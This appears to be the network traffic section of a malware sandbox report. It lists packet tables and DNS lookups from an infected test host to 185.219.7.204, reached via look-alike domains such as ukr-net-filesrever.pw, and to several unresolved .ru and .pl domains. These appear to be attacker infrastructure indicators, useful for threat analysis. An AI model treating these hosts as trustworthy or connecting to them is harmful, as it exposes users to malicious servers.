Oct 2, 2024 12:25:23.400185108 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.400227070 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.400708914 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.400718927 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.400732040 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.400762081 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.401505947 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.401516914 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.401529074 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.401560068 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.402240038 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.402251005 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.402261019 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.402288914 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.403033972 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.403044939 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.403101921 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.403543949 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.403553963 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.403562069 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.403590918 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.411413908 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.411461115 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.411530018 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.426634073 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.426695108 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.426809072 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.438096046 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.438159943 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.438751936 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.468133926 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.468195915 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.469240904 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.591664076 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.591706038 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.591778040 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.625092983 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.625179052 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.625189066 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.684539080 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.684585094 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.684596062 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.684928894 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.685118914 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.685262918 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.685272932 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.685281992 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.685550928 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.686093092 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.686101913 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.686279058 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.686496019 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.686517000 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.686572075 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.687041998 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.710326910 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.710376978 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.710414886 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.710686922 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.724858046 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.725054026 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.725322962 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.750655890 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.750775099 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.750890970 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.940958977 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.941040039 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.941051006 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.941167116 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.941207886 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.038012981 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.038048029 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.038055897 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.038234949 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.038235903 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.181024075 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.181134939 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.181144953 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.181539059 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.183923960 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.303189039 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.303215981 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.303229094 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.303400993 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.303725958 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.303741932 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.303853035 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.369947910 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.370161057 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.370172024 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.370281935 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.431885004 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.431922913 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.431932926 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.432046890 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.435597897 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.435616970 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.435627937 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.435641050 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.435709953 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.482955933 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.483211994 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.483226061 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.483347893 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.499284983 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.499996901 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.500010014 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.500083923 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.500107050 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.502827883 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.502840042 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.502849102 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.502911091 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.551183939 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.551199913 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.551209927 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.551394939 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.582752943 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.582770109 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.582779884 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.582964897 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.584394932 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.584404945 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.584417105 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.584428072 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.584451914 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.584474087 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.603075981 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.603106022 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.603322029 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.629821062 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.629962921 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.629997015 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.630146980 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.675570965 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.675610065 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.675645113 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.675772905 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.675774097 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.677630901 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.677648067 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.677704096 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.703525066 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.703707933 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.703746080 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.703800917 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.706851006 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.706883907 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.706914902 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.706917048 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.706979990 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.726888895 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.726969004 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.727001905 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.727109909 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.727910995 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.727958918 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.727993965 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.727993965 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.728051901 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.765968084 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.766016960 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.766052961 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.766099930 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.766221046 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.766258001 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.766354084 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.910131931 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.910151005 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.910162926 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.910353899 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:24.914997101 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.915036917 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:24.915106058 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.118585110 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.121606112 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.121716976 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.248991966 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.249336958 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.249373913 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.249481916 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.252269030 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.252304077 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.252326012 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.388956070 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.388994932 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.389007092 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.389105082 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.389523983 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.389584064 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.389826059 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.389874935 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.390122890 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.445530891 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.445652008 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.449343920 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.449356079 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:25.449434042 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.451987028 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:25.470613003 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:56.247064114 CEST	49162	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:56.251868010 CEST	80	49162	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:56.251939058 CEST	49162	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:56.252652884 CEST	49162	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:56.252680063 CEST	49162	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:56.257448912 CEST	80	49162	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:56.257529974 CEST	80	49162	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:57.549443007 CEST	80	49162	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:57.550517082 CEST	80	49162	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:57.550656080 CEST	49162	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:57.551039934 CEST	49162	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:57.555942059 CEST	80	49162	185.219.7.204	192.168.2.22
Oct 2, 2024 12:27:08.477576017 CEST	49163	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:27:08.482512951 CEST	80	49163	185.219.7.204	192.168.2.22
Oct 2, 2024 12:27:08.482588053 CEST	49163	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:27:08.482836962 CEST	49163	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:27:08.482875109 CEST	49163	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:27:08.487719059 CEST	80	49163	185.219.7.204	192.168.2.22
Oct 2, 2024 12:27:08.487749100 CEST	80	49163	185.219.7.204	192.168.2.22
Oct 2, 2024 12:27:08.805485010 CEST	49163	80	192.168.2.22	185.219.7.204

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 12:25:09.609761000 CEST	54562	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:25:10.290719986 CEST	53	54562	8.8.8.8	192.168.2.22
Oct 2, 2024 12:25:55.389905930 CEST	52917	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:25:55.931066990 CEST	53	52917	8.8.8.8	192.168.2.22
Oct 2, 2024 12:25:55.936203957 CEST	62751	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:25:56.246480942 CEST	53	62751	8.8.8.8	192.168.2.22
Oct 2, 2024 12:25:57.560411930 CEST	57893	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:25:57.599915028 CEST	53	57893	8.8.8.8	192.168.2.22
Oct 2, 2024 12:25:58.496542931 CEST	54821	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:25:59.021677971 CEST	53	54821	8.8.8.8	192.168.2.22
Oct 2, 2024 12:25:59.037682056 CEST	54719	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:26:00.048163891 CEST	54719	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:26:00.726632118 CEST	53	54719	8.8.8.8	192.168.2.22
Oct 2, 2024 12:26:01.354024887 CEST	53	54719	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.098027945 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.106161118 CEST	53	49881	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.106406927 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.442692041 CEST	53	49881	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.443123102 CEST	49881	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.450836897 CEST	53	49881	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.468686104 CEST	54998	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.476615906 CEST	53	54998	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.822732925 CEST	52781	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.859625101 CEST	53	52781	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.859858990 CEST	52781	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.866856098 CEST	53	52781	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.866990089 CEST	52781	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.901748896 CEST	53	52781	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:08.907032013 CEST	52781	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:08.914154053 CEST	53	52781	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:09.286876917 CEST	63926	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:09.882325888 CEST	53	63926	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:09.882560015 CEST	63926	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:10.887655973 CEST	63926	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:12.283221006 CEST	53	63926	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:12.283544064 CEST	63926	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:13.487202883 CEST	53	63926	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:13.487401962 CEST	63926	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:14.482283115 CEST	53	63926	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:14.565045118 CEST	65510	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:14.615937948 CEST	53	65510	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:14.616162062 CEST	65510	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:14.639007092 CEST	53	65510	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:14.641872883 CEST	65510	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:16.203147888 CEST	53	63926	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:16.307799101 CEST	53	65510	8.8.8.8	192.168.2.22
Oct 2, 2024 12:27:16.307945967 CEST	65510	53	192.168.2.22	8.8.8.8
Oct 2, 2024 12:27:18.603172064 CEST	53	65510	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 2, 2024 12:26:01.354141951 CEST	192.168.2.22	8.8.8.8	d050	(Port unreachable)	Destination Unreachable
Oct 2, 2024 12:27:16.203227997 CEST	192.168.2.22	8.8.8.8	d008	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 12:25:09.609761000 CEST	192.168.2.22	8.8.8.8	0xf038	Standard query (0)	ukr-net-filesrever.pw	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:55.389905930 CEST	192.168.2.22	8.8.8.8	0xa59f	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:55.936203957 CEST	192.168.2.22	8.8.8.8	0x575c	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:57.560411930 CEST	192.168.2.22	8.8.8.8	0xebec	Standard query (0)	ceoconstractionstore.pl	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:58.496542931 CEST	192.168.2.22	8.8.8.8	0x15a2	Standard query (0)	openclehardware.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:59.037682056 CEST	192.168.2.22	8.8.8.8	0xc2c0	Standard query (0)	informcoopirationunicolceo.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:26:00.048163891 CEST	192.168.2.22	8.8.8.8	0xc2c0	Standard query (0)	informcoopirationunicolceo.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.098027945 CEST	192.168.2.22	8.8.8.8	0xe8fb	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.106406927 CEST	192.168.2.22	8.8.8.8	0xe8fb	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.443123102 CEST	192.168.2.22	8.8.8.8	0xe8fb	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.468686104 CEST	192.168.2.22	8.8.8.8	0x58f7	Standard query (0)	unicexpertmagazine.pw	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.822732925 CEST	192.168.2.22	8.8.8.8	0xf219	Standard query (0)	ceoconstractionstore.pl	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.859858990 CEST	192.168.2.22	8.8.8.8	0xf219	Standard query (0)	ceoconstractionstore.pl	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.866990089 CEST	192.168.2.22	8.8.8.8	0xf219	Standard query (0)	ceoconstractionstore.pl	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.907032013 CEST	192.168.2.22	8.8.8.8	0xf219	Standard query (0)	ceoconstractionstore.pl	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:09.286876917 CEST	192.168.2.22	8.8.8.8	0x8979	Standard query (0)	openclehardware.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:09.882560015 CEST	192.168.2.22	8.8.8.8	0x8979	Standard query (0)	openclehardware.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:10.887655973 CEST	192.168.2.22	8.8.8.8	0x8979	Standard query (0)	openclehardware.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:12.283544064 CEST	192.168.2.22	8.8.8.8	0x8979	Standard query (0)	openclehardware.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:13.487401962 CEST	192.168.2.22	8.8.8.8	0x8979	Standard query (0)	openclehardware.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:14.565045118 CEST	192.168.2.22	8.8.8.8	0x38c8	Standard query (0)	informcoopirationunicolceo.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:14.616162062 CEST	192.168.2.22	8.8.8.8	0x38c8	Standard query (0)	informcoopirationunicolceo.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:14.641872883 CEST	192.168.2.22	8.8.8.8	0x38c8	Standard query (0)	informcoopirationunicolceo.ru	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:16.307945967 CEST	192.168.2.22	8.8.8.8	0x38c8	Standard query (0)	informcoopirationunicolceo.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 12:25:10.290719986 CEST	8.8.8.8	192.168.2.22	0xf038	No error (0)	ukr-net-filesrever.pw		185.219.7.204	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:55.931066990 CEST	8.8.8.8	192.168.2.22	0xa59f	No error (0)	unicexpertmagazine.pw		185.219.7.204	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:56.246480942 CEST	8.8.8.8	192.168.2.22	0x575c	No error (0)	unicexpertmagazine.pw		185.219.7.204	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:57.599915028 CEST	8.8.8.8	192.168.2.22	0xebec	Name error (3)	ceoconstractionstore.pl	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:25:59.021677971 CEST	8.8.8.8	192.168.2.22	0x15a2	Name error (3)	openclehardware.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:26:00.726632118 CEST	8.8.8.8	192.168.2.22	0xc2c0	Name error (3)	informcoopirationunicolceo.ru	none	none	A (IP address)	IN (0x0001)	false
